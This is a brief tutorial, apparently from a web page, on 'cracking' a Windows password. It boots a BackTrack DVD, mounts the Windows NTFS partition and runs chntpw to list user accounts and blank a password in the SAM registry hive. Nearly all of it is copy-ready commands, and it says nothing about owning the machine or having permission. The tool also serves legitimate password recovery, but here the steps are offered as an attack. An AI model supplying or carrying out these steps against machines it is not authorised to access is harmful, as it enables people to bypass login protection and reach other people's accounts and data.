For cracking windows password using Backtrack you should have a Backtrack DVD. Insert DVD and boot from it. Now Backtrack have many offline password cracking tools pre-installed, we will use one of them.
Continue using following steps:
Step 1: Open applications>Bactrack>Privilege Escalation>Password Hacks>Offline Attacks>chntpw
Step 2: Type fdisk -l
Step 3 Type mkdir /mnt/apple
Step 4: Type mount -t ntfs-3g /dev/sda1 /mnt/apple
Step 5: Type ./chntpw -l /mnt/apple/WINDOWS/system32/config/SAM
Step 6: Type ./chntpw /mnt/apple/WINDOWS/system32/config/SAM
Step 7: After you have the user edit menu select the appropriate step, here we have to clear password so type 1 and press enter
Step 8: Now it will ask for writing hive files so type y and press enter
Now your windows password has been cleared. When the next time you will login it will not ask for password.
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